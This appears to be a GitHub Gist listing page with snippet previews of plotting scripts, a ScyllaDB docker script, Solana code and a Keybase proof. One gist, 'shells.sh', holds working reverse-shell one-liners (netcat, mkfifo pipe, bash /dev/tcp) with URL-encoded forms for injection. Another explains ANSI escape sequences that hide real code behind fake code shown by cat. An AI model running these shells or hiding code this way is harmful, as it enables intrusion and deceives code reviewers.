Skip to content

Instantly share code, notes, and snippets.

@timkoopmans
timkoopmans / export-google-docs-to-restructured-text.js
Created October 30, 2023 00:27 — forked from simonw/export-google-docs-to-restructured-text.js
Google Apps script to convert a Google Docs document into reStructuredText
function onOpen() {
var ui = DocumentApp.getUi();
ui.createMenu('Convert to .RST')
.addItem('Convert to .RST and email me the result', 'ConvertToRestructuredText')
.addToUi();
}
// Adopted from https://github.com/mangini/gdocs2md by Renato Mangini
// License: Apache License Version 2.0
String.prototype.repeat = String.prototype.repeat || function(num) {
@timkoopmans
timkoopmans / fit.py
Last active October 9, 2023 21:36
Throughput Latency Fit
import matplotlib.pyplot as plt
import numpy as np
from matplotlib.colors import ListedColormap, Normalize
# Set the default font to Roboto
plt.rcParams['font.family'] = 'Roboto'
# Generate random data for ops/sec and latency
np.random.seed(0) # for reproducibility
ops_per_sec = np.random.uniform(low=1, high=500_000, size=100)
@timkoopmans
timkoopmans / costs.py
Created July 27, 2023 00:27
Cost Competitors
import matplotlib.pyplot as plt
import numpy as np
from matplotlib.ticker import FuncFormatter
# Throughput values (ops/sec)
throughput = [1000, 10000, 50000, 100000, 500000, 1000000]
# Cost savings for ScyllaDB, MongoDB, and DynamoDB (%)
scylla_savings = [1, 3, 30, 40, 50, 60]
dynamo_savings = [5, 10, 20, 25, 20, 15]
CONTAINER_ID=$(docker run -d scylladb/scylla)
echo "waiting for ScyllaDB container to start: $CONTAINER_ID"
while ! docker exec $CONTAINER_ID \
curl --fail http://localhost:10000/storage_service/native_transport \
> /dev/null 2>&1; do
sleep 1
done
echo "load example dataset"
docker exec -i $CONTAINER_ID bash << EOF
{
"sparkline": true,
"metrics": [
[ { "expression": "SELECT AVG(MaxProvisionedTableReadCapacityUtilization) FROM \"AWS/DynamoDB\"", "label": "Query1", "id": "q1", "stat": "p99", "period": 86400 } ],
[ "AWS/DynamoDB", "AccountMaxReads", { "id": "m1" } ],
[ ".", "AccountMaxTableLevelReads", { "id": "m2" } ],
[ ".", "AccountMaxTableLevelWrites", { "id": "m3" } ],
[ ".", "AccountMaxWrites", { "id": "m4" } ],
[ ".", "AccountProvisionedReadCapacityUtilization", { "id": "m5" } ],
[ ".", "AccountProvisionedWriteCapacityUtilization", { "id": "m6" } ],
use anchor_lang::prelude::*;
declare_id!("Fg6PaFpoGXkYsidMpWTK6W2BeZ7FEfcYkg476zPFsLnS");
#[program]
pub mod basic {
use super::*;
#[access_control(do_stuff_prior())]
pub fn do_stuff(ctx: Context<DoStuff>) -> Result<()> {
0x0 = "Lamport balance below rent-exempt threshold"
0x1 = "Insufficient funds"
0x2 = "Invalid Mint"
0x3 = "Account not associated with this Mint"
0x4 = "Owner does not match"
0x5 = "Fixed supply"
0x6 = "Already in use"
0x7 = "Invalid number of provided signers"
0x8 = "Invalid number of required signers"

0x9 = "State is uninitialized"

/* So how does this work?
I'm using ANSI escape sequences to control the behavior of the terminal while
cat is outputting the text. I deliberately place these control sequences inside
comments so the C++ compiler doesn't try to treat them as code.*/
//
/*The commands in the fake code comment move the cursor to the left edge and
clear out the line, allowing the fake code to take the place of the real code.
And this explanation uses similar commands to wipe itself out too. */
//
#include <cstdio>
@timkoopmans
timkoopmans / shells.sh
Last active August 22, 2020 22:27
reverse shells
# References
# http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
nc -e /bin/sh 192.168.1.104 4443
# nc%20-e%20%2Fbin%2Fsh%20192.168.1.104%204443
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.104 4443 >/tmp/f
# rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.1.104%204443%20%3E%2Ftmp%2Ff%0A
bash -i >& /dev/tcp/192.168.1.104/4443 0>&1

Keybase proof

I hereby claim:

  • I am timkoopmans on github.
  • I am koops (https://keybase.io/koops) on keybase.
  • I have a public key ASDgk3plSrKo4qw_tbpPSImGzpuAhNFP4_NdyEyld6z7hAo

To claim this, I am signing this object: